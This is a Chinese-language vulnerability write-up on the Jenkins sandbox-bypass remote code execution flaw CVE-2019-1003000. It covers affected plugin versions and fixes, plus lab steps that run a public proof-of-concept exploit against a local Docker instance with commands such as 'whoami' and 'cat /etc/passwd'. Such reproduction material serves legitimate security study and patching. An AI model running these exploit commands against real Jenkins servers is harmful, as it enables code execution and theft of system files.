# 2.18.1 CVE-2019-1003000

## 漏洞名称

Jenkins 远程代码执行漏洞（CVE-2019-1003000）

## 漏洞等级

高危

## 漏洞描述

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释（如@Grab）应用于源代码元素，可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

## 漏洞影响

* Declarative Plugin < 1.3.4.1
* Groovy Plugin < 2.61.1
* Script Security Plugin < 1.5.0

## 漏洞复现

复现漏洞CVE-2019-1003000 (Script Security)

测试环境需要安装docker

git clone [https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git](https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git)

cd cve-2019-1003000-jenkins-rce-poc

pip install -r requirements.txt

cd sample-vuln

./run.sh

![](http://ww1.sinaimg.cn/large/0065jC22ly1g0s9xhrardj30jx07y75z.jpg)

浏览器访问：127.0.0.1:8080：

![](http://ww1.sinaimg.cn/large/0065jC22ly1g0s9y10kdgj30i40f6t9m.jpg)

Username：user1；password：user1登录

Poc进行攻击： 回到cve-2019-1003000-jenkins-rce-poc目录：$ cd ../

$ sudo chmod 744 exploit.py

$ sudo python exploit.py --url [http://localhost:8080](http://localhost:8080) --job my-pipeline --username user1 --password user1 --cmd "whoami"

![](http://ww1.sinaimg.cn/large/0065jC22ly1g0s9z3a8sej30oi09itb7.jpg)

sudo python exploit.py --url [http://localhost:8080](http://localhost:8080) --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

![](http://ww1.sinaimg.cn/large/0065jC22ly1g0s9zklrw4j30ni0bpjww.jpg)

## 漏洞修复

Declarative Plugin 更新至 1.3.4.1版本

[https://plugins.jenkins.io/pipeline-model-definition](https://plugins.jenkins.io/pipeline-model-definition)

Groovy Plugin 更新至2.61.1版本

[https://plugins.jenkins.io/workflow-cps](https://plugins.jenkins.io/workflow-cps)

Script Security Plugin 更新至1.50版本

[https://plugins.jenkins.io/script-security](https://plugins.jenkins.io/script-security)
